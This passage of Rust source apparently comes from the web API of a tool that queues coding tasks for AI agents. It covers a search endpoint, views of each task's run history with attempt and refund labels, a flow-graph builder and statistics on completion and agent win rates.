4542 let query = q.q.trim().to_owned();
4543 if query.is_empty() {
4544 return Err(ApiError::bad_request("q must not be empty"));
4545 }
4546 if query.chars().count() > SEARCH_MAX_QUERY {
4547 return Err(ApiError::bad_request(format!(
4548 "q is longer than {SEARCH_MAX_QUERY} characters"
4549 )));
4550 }
4551 let terms = search_terms(&query);
4552 if terms.len() > SEARCH_MAX_TERMS {
4553 return Err(ApiError::bad_request(format!(
4554 "q has more than {SEARCH_MAX_TERMS} terms"
4555 )));
4556 }
4557 let scope = q.scope;
4558 if scope != "runs" && scope != "tasks" && scope != "chats" {
4559 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4560 }
4561 blocking(move || {
4562 let mut view = SearchView {
4563 scope: scope.clone(),
4564 q: query,
4565 hits: Vec::new(),
4566 total: 0,
4567 truncated: false,
4568 unreadable: 0,
4569 };
4570 if scope == "runs" {
4571 let mut unreadable = 0;
4572 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4576 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4577 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4578 Some(v) => Some((id, v)),
4579 None => {
4580 unreadable += 1;
4581 None
4582 }
4583 }
4584 });
4585 search_docs(&terms, docs, &mut view);
4586 view.unreadable = unreadable;
4587 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4590 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4591 for hit in &mut view.hits {
4592 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4593 hit.run = summarize(
4594 [state],
4595 &open_runs,
4596 &claimed,
4597 &superseded,
4598 |p| probe.borrow_mut().status(p),
4599 |p| probe.borrow_mut().started_at(p),
4600 )
4601 .pop();
4602 }
4603 }
4604 } else if scope == "chats" {
4605 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4606 view.unreadable = unreadable;
4607 search_docs(
4608 &terms,
4609 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4610 &mut view,
4611 );
4612 } else {
4613 let docs = ui.queue.list().into_iter().filter_map(|t| {
4614 let mut v = serde_json::to_value(&t).ok()?;
4615 if let Some(o) = v.as_object_mut() {
4618 o.insert("filed_by".to_owned(), t.source.label().into());
4619 }
4620 Some((t.id, v))
4621 });
4622 search_docs(&terms, docs, &mut view);
4623 }
4624 Ok(Json(view))
4625 })
4626 .await
4627}
4628
4629#[derive(Debug, Serialize)]
4631struct TaskRunView {
4632 n: usize,
4634 id: String,
4635 short: String,
4636 kind: &'static str,
4638 status: Option<&'static str>,
4640 readable: bool,
4642 provisional: bool,
4644 description: String,
4646 outcome: String,
4648 created_at: Option<Timestamp>,
4649 pr: Option<String>,
4650 exit: RunExit,
4652 attempt: AttemptCost,
4654 exit_label: String,
4657 later_pass: Option<usize>,
4660 pass_n: usize,
4664 passes_of_run: usize,
4665 pass: Option<PassView>,
4668 branch: Option<String>,
4670 badge: Option<String>,
4673}
4674
4675#[derive(Debug, Clone, PartialEq, Serialize)]
4677struct PassView {
4678 index: usize,
4679 resumed: bool,
4680 started_at: Timestamp,
4681 ended_at: Option<Timestamp>,
4682 end: &'static str,
4684 cause: Option<crate::run::ParkCause>,
4685 label: String,
4687 cost: Option<crate::queue::PassCost>,
4690}
4691
4692impl PassView {
4693 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4694 use crate::run::PassEnd;
4695 let (end, cause, label) = match &p.end {
4696 None => ("open", None, "still open".to_owned()),
4697 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4698 Some(PassEnd::Unrecorded) => (
4699 "unrecorded",
4700 None,
4701 "stopped without recording why (a crash, a kill or a restart; not known)"
4702 .to_owned(),
4703 ),
4704 };
4705 Self {
4706 index: p.index,
4707 resumed: p.resumed,
4708 started_at: p.started_at,
4709 ended_at: p.ended_at,
4710 end,
4711 cause,
4712 label,
4713 cost: settled.map(|t| t.cost),
4714 }
4715 }
4716}
4717
4718#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4720#[serde(rename_all = "snake_case")]
4721enum RunExit {
4722 Unreadable,
4723 Interrupted,
4725 Parked,
4726 QuotaStall,
4727 ResumedQuotaStall,
4731 Merged,
4732 Ready,
4733 Superseded,
4734 AlreadyInBase,
4737 Stalled,
4739 HeldWithPr,
4741 NoopHeld,
4742 Spent,
4744 InProgress,
4745}
4746
4747#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4748#[serde(rename_all = "snake_case")]
4749enum AttemptCost {
4750 Spent,
4751 Refunded,
4752 None,
4753 Unknown,
4755}
4756
4757impl RunExit {
4758 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4759 let Some(s) = s else {
4760 return Self::Unreadable;
4761 };
4762 let status = s.status;
4763 if resumed_later {
4764 Self::Interrupted
4765 } else if s.parked {
4766 Self::Parked
4767 } else if !status.done() {
4768 Self::InProgress
4769 } else if matches!(status, RunStatus::Merged) {
4770 Self::Merged
4771 } else if matches!(status, RunStatus::Ready) {
4772 Self::Ready
4773 } else if matches!(status, RunStatus::Superseded) {
4774 Self::Superseded
4775 } else if matches!(status, RunStatus::AlreadyInBase) {
4776 Self::AlreadyInBase
4777 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4778 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4779 {
4780 if resumed {
4781 Self::ResumedQuotaStall
4782 } else {
4783 Self::QuotaStall
4784 }
4785 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4786 Self::HeldWithPr
4787 } else if matches!(status, RunStatus::VerifiedNoop) {
4788 Self::NoopHeld
4789 } else if matches!(status, RunStatus::Stalled) {
4790 Self::Stalled
4791 } else {
4792 Self::Spent
4793 }
4794 }
4795
4796 fn cost(self) -> AttemptCost {
4797 match self {
4798 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4799 Self::Merged
4800 | Self::Ready
4801 | Self::Stalled
4802 | Self::HeldWithPr
4803 | Self::NoopHeld
4804 | Self::Spent => AttemptCost::Spent,
4805 Self::InProgress => AttemptCost::None,
4806 Self::AlreadyInBase => AttemptCost::Refunded,
4807 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4808 AttemptCost::Unknown
4809 }
4810 }
4811 }
4812
4813 fn edge_label(self, status: Option<&str>) -> String {
4815 match self {
4816 Self::Unreadable => "record unreadable".to_owned(),
4817 Self::Interrupted => "interrupted before the run finished".to_owned(),
4818 Self::Parked => "parked, attempt refunded".to_owned(),
4819 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4820 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4821 Self::Merged => "merged".to_owned(),
4822 Self::Ready => "ready, not merged".to_owned(),
4823 Self::Superseded => "superseded by a later attempt".to_owned(),
4824 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4825 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4826 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4827 Self::NoopHeld => "verified no-op".to_owned(),
4828 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4829 Self::InProgress => "in progress".to_owned(),
4830 }
4831 }
4832
4833 fn explains(self, end: TaskStatus) -> bool {
4836 match self {
4837 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4838 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4839 Self::Unreadable | Self::Superseded | Self::Ready => true,
4840 _ => end != TaskStatus::Done,
4841 }
4842 }
4843}
4844
4845#[derive(Debug, Serialize)]
4847struct TaskDetailView {
4848 #[serde(flatten)]
4849 task: TaskView,
4850 max_attempts: usize,
4853 history: Vec<TaskRunView>,
4854 passes_total: usize,
4857 runs_distinct: usize,
4859 flow: FlowView,
4860 followup_origin: Option<FollowUpOrigin>,
4862 runs_unreadable: usize,
4864 attempts_note: &'static str,
4866}
4867
4868const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4869and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4870on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4871the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4872
4873fn review_branch_of(instruction: &str) -> Option<&str> {
4876 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4877 rest.split('`').next().filter(|b| !b.is_empty())
4878}
4879
4880#[derive(Default)]
4882struct RunSlot<'a> {
4883 n: usize,
4885 resumed: bool,
4887 resumed_later: Option<usize>,
4889 prior: Option<(&'a str, RunStatus)>,
4891 last: bool,
4892 pass: Option<&'a crate::run::RunPass>,
4894 settled: Option<&'a crate::queue::TaskPass>,
4896 pass_n: usize,
4898 passes_of_run: usize,
4899}
4900
4901fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4904 let RunSlot {
4905 n,
4906 resumed,
4907 resumed_later,
4908 prior,
4909 last,
4910 pass,
4911 settled,
4912 pass_n,
4913 passes_of_run,
4914 } = at;
4915 let short = run::short_of(id).to_owned();
4916 let Some(s) = state else {
4917 return TaskRunView {
4918 n,
4919 id: id.to_owned(),
4920 short,
4921 kind: "unknown",
4922 status: None,
4923 readable: false,
4924 provisional: false,
4925 description:
4926 "This run's record could not be read by this build (written by a different \
4927 magi, or removed), so what kind of attempt it was is unknown."
4928 .to_owned(),
4929 outcome: String::new(),
4930 created_at: None,
4931 pr: None,
4932 exit: RunExit::Unreadable,
4933 attempt: AttemptCost::Unknown,
4934 exit_label: RunExit::Unreadable.edge_label(None),
4935 later_pass: resumed_later,
4936 pass_n,
4937 passes_of_run,
4938 pass: None,
4939 branch: None,
4940 badge: None,
4941 };
4942 };
4943 let branch = review_branch_of(&s.instruction);
4944 let kind = if resumed {
4945 "resume"
4946 } else if branch.is_some() {
4947 "review"
4948 } else if task.solo || s.candidates.len() == 1 {
4949 "solo"
4950 } else {
4951 "competition"
4952 };
4953 let mut description = match kind {
4954 "resume" => {
4955 format!("Resumed run {short}: the same run carried on instead of competing again.")
4956 }
4957 "review" => format!(
4958 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4959 branch.unwrap_or_default()
4960 ),
4961 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4962 _ => format!(
4963 "Competition: {} candidates judged blind.",
4964 s.candidates.len().max(1)
4965 ),
4966 };
4967 if !resumed && let Some((p, st)) = prior {
4968 description.push_str(&format!(
4969 " A retry: run {p} before it ended {}.",
4970 st.display_label()
4971 ));
4972 }
4973
4974 let status = s.status;
4975 let provisional = matches!(status, RunStatus::Stalled)
4976 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4977 let head = if resumed_later.is_some() {
4978 String::new()
4979 } else {
4980 match status {
4981 RunStatus::Merged => "Merged.".to_owned(),
4982 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4983 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4984 RunStatus::AlreadyInBase => {
4985 "Already in the base: this change landed under other commits, nothing was left to land."
4986 .to_owned()
4987 }
4988 RunStatus::Stalled => {
4989 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4990 .to_owned()
4991 }
4992 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4993 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4994 RunStatus::VerifiedNoop => {
4995 "Verified no-op: the candidates found nothing to change.".to_owned()
4996 }
4997 other if other.done() => format!("Ended {}.", other.display_label()),
4998 other => format!("In progress ({}).", other.display_label()),
4999 }
5000 };
5001 let view = pass.map(|p| PassView::of(p, settled));
5002 let recorded_end = view
5003 .as_ref()
5004 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5005 let cost_words = match view.as_ref().and_then(|v| v.cost) {
5006 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5007 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5008 None => "whether its attempt was handed back was not recorded",
5009 };
5010 let pass_note = if passes_of_run > 1 {
5011 format!(
5012 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5013 )
5014 } else {
5015 String::new()
5016 };
5017 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5018 let cause = match v.end {
5020 "parked" => format!("It was stopped on purpose: {}.", v.label),
5021 _ => format!("It {}.", v.label),
5022 };
5023 format!(
5024 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5025 capitalise(cost_words)
5026 )
5027 } else if let Some(k) = resumed_later {
5028 let cause = if s.quota.is_empty() {
5035 "the cause was not recorded: a park, a crash or a restart all look the same from here"
5036 } else {
5037 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5038 };
5039 format!(
5040 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5041 )
5042 } else if s.parked {
5043 match recorded_end.and_then(|v| v.cause.as_ref()) {
5044 Some(cause) => format!(
5045 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5046 cause.label(),
5047 cost_words
5048 ),
5049 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5050 .to_owned(),
5051 }
5052 } else if !status.done()
5053 || matches!(
5054 status,
5055 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5056 )
5057 {
5058 String::new()
5059 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5060 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5061 {
5062 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5063 .to_owned()
5064 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5065 " It left a pull request open, so the task was held for a person rather than retried."
5066 .to_owned()
5067 } else if matches!(status, RunStatus::VerifiedNoop) {
5068 " Held for a person to check the claim.".to_owned()
5069 } else if last {
5070 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5071 } else {
5072 " It spent an attempt, and the task moved on to the next run.".to_owned()
5073 };
5074 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5075 let mut attempt = exit.cost();
5076 let mut exit_label = None;
5077 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5078 let spent = match v.cost {
5079 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5080 Some(crate::queue::PassCost::Spent) => ", attempt counted",
5081 None if resumed_later.is_some() => ", refund not recorded",
5082 None => ", attempt refunded",
5083 };
5084 attempt = match v.cost {
5085 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5086 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5087 None if resumed_later.is_some() => AttemptCost::Unknown,
5088 None => attempt,
5089 };
5090 if v.end == "parked" {
5091 exit = RunExit::Parked;
5092 exit_label = Some(match v.cause.as_ref() {
5093 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5094 format!("parked for {}{spent}", c.label())
5095 }
5096 Some(c) => format!("parked ({}){spent}", c.label()),
5097 None => format!("parked{spent}"),
5098 });
5099 } else {
5100 exit_label = Some(format!("stopped without a recorded cause{spent}"));
5101 }
5102 }
5103 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5104 TaskRunView {
5105 n,
5106 id: id.to_owned(),
5107 short,
5108 kind,
5109 status: Some(status.as_str()),
5110 readable: true,
5111 provisional,
5112 description,
5113 outcome: format!("{head}{why}"),
5114 created_at: Some(s.created_at),
5115 pr: s.pr.as_ref().map(|p| p.url.clone()),
5116 exit,
5117 attempt,
5118 exit_label,
5119 later_pass: resumed_later,
5120 pass_n,
5121 passes_of_run,
5122 pass: view,
5123 branch: branch.map(str::to_owned),
5124 badge: None,
5125 }
5126}
5127
5128fn capitalise(s: &str) -> String {
5129 let mut c = s.chars();
5130 c.next().map_or_else(String::new, |f| {
5131 f.to_uppercase().collect::<String>() + c.as_str()
5132 })
5133}
5134
5135#[derive(Debug, Serialize, PartialEq)]
5137struct FlowNode {
5138 key: String,
5140 kind: &'static str,
5142 label: String,
5143 status: Option<&'static str>,
5146 status_of: &'static str,
5149 note: Option<&'static str>,
5151 run_kind: Option<&'static str>,
5152 detail: Option<String>,
5153 decided: bool,
5155 readable: bool,
5156 href: Option<String>,
5157 badge: Option<String>,
5159 started_at: Option<Timestamp>,
5161 time_expected: bool,
5163}
5164
5165#[derive(Debug, Serialize, PartialEq)]
5166struct FlowEdge {
5167 from: String,
5168 to: String,
5169 label: String,
5170 attempt: AttemptCost,
5171}
5172
5173#[derive(Debug, Serialize, PartialEq)]
5174struct FlowView {
5175 nodes: Vec<FlowNode>,
5176 edges: Vec<FlowEdge>,
5177 attempts: usize,
5179 max_attempts: usize,
5180 passes: usize,
5183 runs: usize,
5184}
5185
5186fn task_flow(
5195 task: &Task,
5196 history: &[TaskRunView],
5197 max_attempts: usize,
5198 origin: Option<&FollowUpOrigin>,
5199) -> FlowView {
5200 let max_attempts = task.effective_attempt_limit(max_attempts);
5201 let node = |key: &str, kind, label: String| FlowNode {
5202 key: key.to_owned(),
5203 kind,
5204 label,
5205 status: None,
5206 status_of: "run",
5207 note: None,
5208 run_kind: None,
5209 detail: None,
5210 decided: false,
5211 readable: true,
5212 href: None,
5213 badge: None,
5214 started_at: None,
5215 time_expected: matches!(kind, "start" | "run" | "end"),
5216 };
5217 let mut nodes = Vec::new();
5218 let mut edges: Vec<FlowEdge> = Vec::new();
5219 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5221 let mut n = node(
5222 "chat",
5223 "chat",
5224 format!("Chat {}", crate::queue::short(&link.id)),
5225 );
5226 n.href = Some(link.href);
5227 nodes.push(n);
5228 edges.push(FlowEdge {
5229 from: "chat".to_owned(),
5230 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5231 label: "queued from chat".to_owned(),
5232 attempt: AttemptCost::None,
5233 });
5234 }
5235 if let Some(o) = origin {
5236 let mut n = match &o.parent {
5237 Some(p) => {
5238 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5239 n.status = Some(p.status);
5240 n.status_of = "task";
5241 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5242 n.href = Some(p.href.clone());
5243 n
5244 }
5245 None => {
5246 let mut n = node(
5247 "origin",
5248 "followup",
5249 format!("Follow-up of run {}", o.run.short),
5250 );
5251 n.detail = Some("merged run".to_owned());
5252 n.status = o.run.status;
5253 n.href = o.run.href.clone();
5254 if o.run.href.is_none() {
5255 n.readable = false;
5256 n.note = Some("unreadable");
5257 }
5258 n
5259 }
5260 };
5261 n.decided = true;
5262 let from = n.key.clone();
5263 nodes.push(n);
5264 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5265 let more = o.findings.len().saturating_sub(shown.len());
5266 let label = match (shown.is_empty(), more) {
5267 (true, _) => "open findings".to_owned(),
5268 (false, 0) => format!("open findings {}", shown.join(", ")),
5269 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5270 };
5271 edges.push(FlowEdge {
5272 from,
5273 to: "start".to_owned(),
5274 label,
5275 attempt: AttemptCost::None,
5276 });
5277 }
5278 let mut start = node("start", "start", "Task queued".to_owned());
5279 start.started_at = Some(task.created_at);
5280 nodes.push(start);
5281 let mut prev = "start".to_owned();
5282 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5283 for (i, h) in history.iter().enumerate() {
5284 let key = format!("run-{}", h.n);
5285 let mut n = node(&key, "run", format!("Run {}", h.short));
5286 n.started_at = h
5289 .readable
5290 .then(|| {
5291 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5292 h.created_at
5293 } else {
5294 None
5295 })
5296 })
5297 .flatten();
5298 n.run_kind = Some(h.kind);
5299 n.readable = h.readable;
5300 n.href = Some(format!("#/runs/{}", h.id));
5301 n.decided = h.readable && !h.provisional;
5302 n.detail = h
5303 .branch
5304 .as_ref()
5305 .map(|b| format!("review-only run of branch {b}"));
5306 match h.exit {
5307 RunExit::Unreadable => n.note = Some("unreadable"),
5308 RunExit::Interrupted => n.note = Some("interrupted"),
5309 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5312 _ => {
5313 n.status = h.status;
5314 n.badge = h.badge.clone();
5315 if h.provisional {
5316 n.note = Some("no verdict");
5317 }
5318 }
5319 }
5320 let into = match h.kind {
5321 "review" => Some(format!(
5322 "review-only run of branch {}",
5323 h.branch.as_deref().unwrap_or("?")
5324 )),
5325 "resume" => Some("resume the same run".to_owned()),
5326 _ if i > 0 => Some("retry".to_owned()),
5327 _ => None,
5328 };
5329 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5330 let label = match (prev_exit, into) {
5331 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5332 (Some((_, l, _)), None) => l,
5333 (None, Some(i)) => i,
5334 (None, None) => "claimed".to_owned(),
5335 };
5336 edges.push(FlowEdge {
5337 from: prev.clone(),
5338 to: key.clone(),
5339 label,
5340 attempt,
5341 });
5342 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5343 prev = key;
5344 nodes.push(n);
5345 }
5346 let mut end = node("end", "end", task.status.as_str().to_owned());
5347 end.status = Some(task.status.as_str());
5348 end.status_of = "task";
5349 if task.status == TaskStatus::Held {
5352 end.started_at = task.held_at;
5353 }
5354 nodes.push(end);
5355 let (label, attempt) = match prev_exit {
5356 None => (
5357 format!("no run yet \u{2192} {}", task.status.as_str()),
5358 AttemptCost::None,
5359 ),
5360 Some((e, l, cost)) if e.explains(task.status) => {
5361 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5362 }
5363 Some((_, _, cost)) => (
5364 format!("closed by hand: task is {}", task.status.as_str()),
5365 cost,
5366 ),
5367 };
5368 edges.push(FlowEdge {
5369 from: prev,
5370 to: "end".to_owned(),
5371 label,
5372 attempt,
5373 });
5374 FlowView {
5375 nodes,
5376 edges,
5377 attempts: task.attempts,
5378 max_attempts,
5379 passes: history.len(),
5380 runs: distinct_runs(&task.runs),
5381 }
5382}
5383
5384fn distinct_runs(runs: &[String]) -> usize {
5386 let mut seen: Vec<&str> = Vec::new();
5387 for r in runs {
5388 if !seen.contains(&r.as_str()) {
5389 seen.push(r);
5390 }
5391 }
5392 seen.len()
5393}
5394
5395fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5397 let mut slots = Vec::new();
5398 let mut seen = Vec::new();
5399 for run_id in &task.runs {
5400 if seen.contains(&run_id) {
5401 continue;
5402 }
5403 seen.push(run_id);
5404 let state = read(run_id);
5405 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5406 s.passes
5407 .iter()
5408 .filter(|p| {
5409 p.task_entry
5410 || task
5411 .passes
5412 .iter()
5413 .any(|t| t.run == *run_id && t.pass_index == p.index)
5414 })
5415 .cloned()
5416 .collect()
5417 });
5418 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5419 let total = legacy_count.max(mine.len());
5420 let offset = total - mine.len();
5421 for k in 0..total {
5422 let position = task
5425 .runs
5426 .iter()
5427 .enumerate()
5428 .filter(|(_, r)| *r == run_id)
5429 .nth(k.min(legacy_count - 1))
5430 .unwrap()
5431 .0;
5432 slots.push((
5433 run_id,
5434 state.clone(),
5435 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5436 position,
5437 ));
5438 }
5439 }
5440 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5441 slots.sort_by_key(|(_, state, pass, _)| {
5442 pass.as_ref()
5443 .map(|p| p.started_at)
5444 .or_else(|| state.as_ref().map(|s| s.created_at))
5445 .map_or((true, task.created_at), |at| (false, at))
5446 });
5447 } else {
5448 slots.sort_by_key(|(_, _, _, position)| *position);
5449 }
5450 let mut history = Vec::with_capacity(slots.len());
5451 let mut seen: Vec<&str> = Vec::new();
5452 let mut prior: Option<(&str, RunStatus)> = None;
5453 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5454 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5455 let resumed = k > 0;
5456 seen.push(run_id);
5457 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5458 let pass = pass.as_ref();
5459 let settled = pass.and_then(|p| {
5460 task.passes
5461 .iter()
5462 .find(|t| t.run == **run_id && t.pass_index == p.index)
5463 });
5464 history.push(task_run_view(
5465 run_id,
5466 state.as_ref(),
5467 RunSlot {
5468 n: i + 1,
5469 resumed,
5470 resumed_later: slots[i + 1..]
5471 .iter()
5472 .position(|(id, _, _, _)| id == run_id)
5473 .map(|off| i + off + 2),
5474 prior,
5475 last: i + 1 == slots.len(),
5476 pass,
5477 settled,
5478 pass_n: k + 1,
5479 passes_of_run: total,
5480 },
5481 task,
5482 ));
5483 if let Some(s) = &state {
5484 prior = Some((run::short_of(run_id), s.status));
5485 }
5486 }
5487 history
5488}
5489
5490fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5493 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5494 return;
5495 }
5496 let (_, claimed, _) = run_row_inputs(ui);
5497 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5498 for h in history
5499 .iter_mut()
5500 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5501 {
5502 let Ok(state) = read_run(&ui.runs, &h.id) else {
5503 continue;
5504 };
5505 if state.status.done() {
5506 continue;
5507 }
5508 let live = state.liveness_with(
5509 claimed.contains(&h.id),
5510 |p| probe.borrow_mut().status(p),
5511 |p| probe.borrow_mut().started_at(p),
5512 );
5513 let waiting = !ui.questions.open_for(&h.id).is_empty();
5514 let display = run_display_status(&state, waiting, live);
5515 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5516 if matches!(word.as_str(), "stale" | "superseded")
5517 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5518 {
5519 h.badge = Some(word);
5520 }
5521 }
5522}
5523
5524async fn task_detail(
5525 State(ui): State<Arc<Ui>>,
5526 Path(id): Path<String>,
5527) -> ApiResult<Json<TaskDetailView>> {
5528 blocking(move || {
5529 let id = resolve_task(&ui.queue, &id)?;
5530 let task = ui
5531 .queue
5532 .get(&id)
5533 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5534 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
5535 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5536 mark_badges(&ui, &task, &mut history);
5537 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5538 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5539 let origin = task.followup.as_ref().map(|fu| {
5540 followup_origin(
5541 fu,
5542 |tid| ui.queue.get(tid).ok(),
5543 |rid| read_run(&ui.runs, rid).ok(),
5544 )
5545 });
5546 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5547 Ok(Json(TaskDetailView {
5548 max_attempts,
5549 flow,
5550 followup_origin: origin,
5551 passes_total: history.len(),
5552 runs_distinct: distinct_runs(&task.runs),
5553 history,
5554 runs_unreadable,
5555 attempts_note: ATTEMPTS_NOTE,
5556 task: TaskView::with_inventory(task, &inv),
5557 }))
5558 })
5559 .await
5560}
5561
5562#[derive(Debug, Serialize)]
5566struct RateView {
5567 pct: f64,
5568 denominator: usize,
5569}
5570
5571impl RateView {
5572 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5573 (denominator > 0).then(|| Self {
5574 pct: 100.0 * numerator as f64 / denominator as f64,
5575 denominator,
5576 })
5577 }
5578}
5579
5580#[derive(Debug, Serialize)]
5585struct StatsTotalsView {
5586 runs: usize,
5587 merged: usize,
5588 ready: usize,
5589 blocked: usize,
5590 failed: usize,
5591 stalled: usize,
5592 verified_noop: usize,
5593 superseded: usize,
5594 in_progress: usize,
5595 completion_rate: Option<RateView>,
5596 tallied: usize,
5597 split: usize,
5598 split_rate: Option<RateView>,
5599 deliberated: usize,
5600 minds_changed: usize,
5601 converged: usize,
5602 review_rounds: usize,
5603}
5604
5605impl From<&stats::Totals> for StatsTotalsView {
5606 fn from(t: &stats::Totals) -> Self {
5607 Self {
5608 runs: t.runs,
5609 merged: t.merged,
5610 ready: t.ready,
5611 blocked: t.blocked,
5612 failed: t.failed,
5613 stalled: t.stalled,
5614 verified_noop: t.verified_noop,
5615 superseded: t.superseded,
5616 in_progress: t.in_progress,
5617 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5618 tallied: t.tallied,
5619 split: t.split,
5620 split_rate: RateView::of(t.split, t.tallied),
5621 deliberated: t.deliberated,
5622 minds_changed: t.minds_changed,
5623 converged: t.converged,
5624 review_rounds: t.review_rounds,
5625 }
5626 }
5627}
5628
5629#[derive(Debug, Serialize)]
5631struct AgentStatsView {
5632 agent: String,
5633 entered: usize,
5634 wins: usize,
5635 empty: usize,
5636 win_rate: Option<RateView>,
5637 competitive_entered: usize,
5638 competitive_wins: usize,
5639 competitive_win_rate: Option<RateView>,
5640 solo_entered: usize,
5641 solo_adopted: usize,
5642 solo_adoption_rate: Option<RateView>,
5643}
5644
5645impl From<&stats::AgentStats> for AgentStatsView {
5646 fn from(a: &stats::AgentStats) -> Self {
5647 Self {
5648 agent: a.agent.clone(),
5649 entered: a.entered,
5650 wins: a.wins,
5651 empty: a.empty,
5652 win_rate: RateView::of(a.wins, a.entered),
5653 competitive_entered: a.competitive_entered,
5654 competitive_wins: a.competitive_wins,
